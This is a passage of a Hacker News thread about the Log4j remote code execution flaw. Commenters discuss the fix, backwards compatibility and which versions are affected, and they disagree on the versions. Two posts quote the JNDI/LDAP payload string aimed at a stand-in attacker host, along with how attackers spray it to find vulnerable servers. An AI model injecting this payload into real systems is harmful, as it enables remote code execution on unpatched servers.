Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Log4j RCE Found

lunasec.io

Post reply on HN
Print view View original

61–70 of 531 posts

Re: Log4j RCE Found

#61

Post by yashap »

stefan_ wrote: post #41
Quiark wrote: post #32

Earlier quoted context omitted.

Did you look at it? Half of it is test and license headers plus the fix involves adding a whitelisting and filtering code.

Yes, that is exactly the part that concerns me. This doesn't need more code, it needs desperately less.

I’m with you, but if you’re maintaining a massively popular open source library, where backwards compatibility is expected, you’re not going to remove features without careful consideration. For an important bug fix, it probably does make more sense to just fix it without breaking anything first, then talk about a more careful deprecation/removal plan.

Re: Log4j RCE Found

#62

Post by jpgvm »

userbinator wrote: post #13
stefan_ wrote: post #11

The best part is surely the diffstat of the "fix": +465 −9 This is insanity.

This is Java. (I'm not surprised. I worked with Enterprise Java briefly, many years ago. Verbosity and redundancy is a deeply ingrained cultural thing.)

It's not. Backwards compatibility however is which is why the fix maintains the functionality but makes it as safe as possible rather than ripping it out.

Re: Log4j RCE Found

#63

Post by yashap »

a-dub wrote: post #50

so the question is, is it safe to log unsanitized inputs? i've argued no given the complexity of today's logging pipelines and caught a lot of flak for it in the past... now i feel vindicated.

Beyond that, arbitrary string from users tend to be things you shouldn’t log for privacy reasons, either.

Re: Log4j RCE Found

#64

Post by jimrandomh »

I try to follow a rule with libraries: if a library causes more trouble than the implementation effort it would take to recreate its functionality from scratch (or rather, the portion of its funcitonality that is used in practice), then it's time to purge that library from projects and never use it again.

The part of log4j functionality that gets used in practice, most of the time, is just a wrapper around printf which adds a timestamp and a log-level. This is very quick and easy to write. A library in this role should have zero RCEs, ever in its entire lifetime, or it is unfit for purpose.

Re: Log4j RCE Found

#65

Post by pqyzwbq »

Do anyone know if I depends on the following 2: - org.apache.logging.log4j:log4j-api - org.apache.logging.log4j:log4j-to-slf4j

But without dependency on - org.apache.logging.log4j:log4j-core

in this situation, is this safe from this RCE? Thanks.

Edit, This may affect both log4j 2.x and log4j 1.x (see comments bellow, thanks.)

Re: Log4j RCE Found

#66

Post by agwa »

nick__m wrote: post #23
xyst wrote: post #16

This should be something that static code analyzers should pick up. If a dependency log4j dependency is Just in time to ruin all of the reports project managers present to executives

the vulnerable feature is not in log4j see https://github.com/apache/logging-log4j2/pull/608#issuecomme... and you can just delete the affected class

> the vulnerable feature is not in log4j The comment you cited is referring to the option to disable the vulnerable feature, not the vulnerable feature itself.

Per https://github.com/apache/logging-log4j2/pull/608#issuecomme... even log4j 1.x is vulnerable.

Re: Log4j RCE Found

#67

Post by hinkley »

spuz wrote: post #36
freeqaz wrote: post #33

Earlier quoted context omitted.

When log4j is handed the string "${jndi:ldap://attacker.com/a}", it attempts to load a logging config from the remote address. The attacker can test for vulnerable servers by spamming the payload everywhere, and then seeing if they get requests (DNS requests for a subdomain, probably). It's listen in the log4j docs here[0] as a feature. Funny enough, they actually call out the security mitigations they have in place…

What benign purpose does this feature serve and why does it have to be implemented by parsing the input string? Does the input string get modified before being written into the log? I'll ask again because the information presented so far both in this thread on GitHub and on Twitter has been very lacking: is it necessary to return the input string back to the attacker in the response to their request in order for them…

Get yer pointin' finger ready:

https://github.com/apache/logging-log4j2/blame/master/log4j-...

Re: Log4j RCE Found

#68

Post by agwa »

pqyzwbq wrote: post #65

Do anyone know if I depends on the following 2: - org.apache.logging.log4j:log4j-api - org.apache.logging.log4j:log4j-to-slf4j But without dependency on - org.apache.logging.log4j:log4j-core in this situation, is this safe from this RCE? Thanks. Edit, This may affect both log4j 2.x and log4j 1.x (see comments bellow, thanks.)

> By the way. This only affect log4j 2.x (https://github.com/apache/logging-log4j2). the log4j 1.x (https://github.com/apache/log4j) is not affected.

That's not what https://github.com/apache/logging-log4j2/pull/608#issuecomme... says

Re: Log4j RCE Found

#69

Post by pqyzwbq »

agwa wrote: post #68
pqyzwbq wrote: post #65

Do anyone know if I depends on the following 2: - org.apache.logging.log4j:log4j-api - org.apache.logging.log4j:log4j-to-slf4j But without dependency on - org.apache.logging.log4j:log4j-core in this situation, is this safe from this RCE? Thanks. Edit, This may affect both log4j 2.x and log4j 1.x (see comments bellow, thanks.)

> By the way. This only affect log4j 2.x ( https://github.com/apache/logging-log4j2 ). the log4j 1.x ( https://github.com/apache/log4j ) is not affected. That's not what https://github.com/apache/logging-log4j2/pull/608#issuecomme... says

OK, thanks, didn't notice this when I read it.

Re: Log4j RCE Found

#70

Post by hn_throwaway_99 »

freeqaz wrote: post #33
spuz wrote: post #31

Thanks for the write-up but I have a few questions. Why does log4j's .log() method attempt to parse the strings sent to it? It is the last thing I would expect it to do. Is the part in the sample code where the user's input is output back to them part of the exploit? If so how does it fit into the attack? What will the attacker see beyond the string they originally sent as input? Could you update your mitigation step…

When log4j is handed the string "${jndi:ldap://attacker.com/a}", it attempts to load a logging config from the remote address. The attacker can test for vulnerable servers by spamming the payload everywhere, and then seeing if they get requests (DNS requests for a subdomain, probably). It's listen in the log4j docs here[0] as a feature. Funny enough, they actually call out the security mitigations they have in place…

"When using LDAP only references to the local host name or ip address are supported along with any hosts or ip addresses listed in the log4j2.allowedLdapHosts property."

Those config measures were put in place as part of the fix for this issue. I.e they didn't exist before the fix was released.

Post reply on HN